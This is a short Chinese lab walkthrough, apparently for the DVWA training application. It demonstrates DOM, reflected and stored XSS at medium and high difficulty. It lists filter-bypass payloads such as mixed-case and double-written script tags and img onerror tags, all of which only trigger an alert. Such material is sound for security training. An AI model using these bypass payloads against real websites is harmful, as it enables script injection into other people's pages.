中(medium)级别

XSS(DOM)
构造payload:</select><img src=1 onerror=alert("xss")>,在URL上输入

XSS(reflected)
输入框输入<script>alert("xss")</script>

 

 

发现只显示alert(“xss”),猜测这里有对<script>过滤

猜测大小写,输入<sCript>alert("xss")</scriPt>,成功

 

 猜测双写,输入<scr<script>ipt>alert("xss")</script>,也可以

 

XSS(stored)
发现name输入框对长度有限制,按F12打开查看器,修改前端代码

 <script>alert("xss")</script>,发现标签被过滤

 

大小写<sCript>alert("xss")</scriPt>、双写<scr<script>ipt>alert("xss")</script>

都在name输入框上成功

 构造<img src=0 onerror=alert("xss")>输入,两个输入框都可以

高(high)级别

XSS(DOM)
构造payload:<script>alert("xss")</script>,注意这次URL上的defalut要为空,

前面加#号,回车如果不行刷新一下就可以了。

 

XSS(reflected)
用中级的方法试过之后发现都不可以,对<script>任何形式都进行了过滤,此时我们就不能再用<script>了,只能换一句payload,构造<img src=0 onerror=alert("xss")>输入。

 

 

XSS(stored)

构造<img src=0 onerror=alert("xss")>输入,两个输入框都可以

 

更多推荐